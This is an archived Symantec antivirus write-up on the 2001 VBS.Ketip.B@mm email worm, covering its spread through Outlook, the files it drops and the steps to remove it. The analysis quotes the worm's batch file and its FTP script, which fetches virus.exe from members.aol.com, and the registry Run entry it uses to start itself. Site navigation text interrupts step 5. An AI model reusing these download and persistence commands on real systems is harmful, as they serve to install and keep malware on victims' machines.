symantec. security updates

united states
global sites
products
purchase
service & support
security updates
downloads
about symantec
search
feedback

VBS.Ketip.B@mm

Discovered on: April 26, 2001
Last Updated on: May 1, 2001 at 09:01:43 PM PDT

Printer-friendly version

VBS.Ketip.B@mm is a Visual Basic Script (VBS) worm. It arrives as the attachment Judge.TXT.vbs. Like many other worms, it uses Microsoft Outlook to spread. The script attempts to connect to a FTP server and download a program which might be malicious.

Also Known As: I-Worm.SSIWG.e VBS/Gorum.gen@MM

Category: Worm

Virus Definitions: April 26, 2001

Threat Assessment:

🟥	🟥	🟥
Wild: Low	Damage: Low	Distribution: Low

Technical description:

When the worm is executed, it does the following:

1. It copies itself to C: as Judge.TXT.vbs and Salut.mp3, and to the \Windows folder as WinGDI.EXE.vbs.
2. It adds the value

```
WinGDI       <Windows System
Folder>\WinGDI.EXE.vbs
```

to the registry key

```
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunServices
```

to enable itself to run at startup.

3. It sends an email message to all contacts in all address lists found in Microsoft Outlook. The email message is as follows:

Subject: `BatMan, SpiderMan et les autres`

Message: `La vraie histoire de ces justiciers`

Attachment: `Judge.TXT.vbs`

4. It drops the \Windows\FTP.bat file. The file consists of the text

```
@echo off
start ftp -i -v -s:C:\FTP.drv
```

5. It drops the C:\FTP.drv file. The file consists of the text

Security Updates
Symantec AntiVirus Research Center and SWAT

Download Virus Definitions
Keep your protection up to date

Virus Encyclopedia
Search for Information on Viruses, Worms and Trojan Horses

Virus Hoaxes
Information on Virus Hoaxes

Jokes
Information on Jokes

Newsletter
Email Sent from the Symantec AntiVirus Research Center

Virus Calendar
Monthly Calendar Listing Trigger Dates for Viruses

Reference Area
Learn About Virus Detection Technologies

Submit Virus Samples
Send Suspected Threats for Review

```
open
members.aol.com
pentasm99
binary
lcd C:\
get virus.exe
bye
exit
```

6. It runs the \Windows\FTP.bat file. This will attempt to download the Virus.exe file from an FTP server designated by the author of the virus. The file might be malicious.
7. If the number of the day of the month is 1, it appends the following text to the C:\Autoexec.bat file:

```
@echo off
cls
echo.
echo.
echo VBS.Judge.A par PetiK (c)2000
echo.
echo TON ORDINATEUR VIENT DE MOURIR
pause
```

This displays the text every time that the computer starts.

8. It drops the C:\Judge.txt file. The file consists of the text

```
Si vous lisez ce texte,
c'est que Microsoft a encors fait des siennes
```

Removal instructions:

To remove this worm, delete any files detected as VBS.Ketip.B@mm, undo the change that it made to the registry, and then delete the files that were dropped by the worm.

To remove the worm:

1. Run LiveUpdate to make sure that you have the most recent virus definitions.
2. Start Norton AntiVirus (NAV), and run a full system scan, making sure that NAV is set to scan all files.
3. Delete any files detected as VBS.Ketip.B@mm.

To edit the registry:

CAUTION: We strongly recommend that you back up the system registry before making any changes. Incorrect changes to the registry could result in permanent data loss or corrupted files. Please make sure you modify only the keys specified. Please see the document How to back up the Windows registry before proceeding. This document is available from the Symantec Fax-on-Demand system. In the U.S. and Canada, call (541) 984-2490, select option 2, and then request document 927002.

1. Click Start, and click Run. The Run dialog box appears.
2. Type `regedit` and then click OK. The Registry Editor opens.
3. Navigate to the following key:

```
HKEY_LOCAL_MACHINE\Software\Microsoft\
Windows\CurrentVersion\RunServices
```

4. In the right pane, delete the following value:

```
WinGDI       <Windows System
Folder>\WinGDI.EXE.vbs
```

5. Using Windows Explorer, locate and delete the following files:
   - \Windows\FTP.bat
   - C:\FTP.drv
   - C:\Judge.txt

Write-up by: Serghei Sevcenco

Tell a Friend about this Write-Up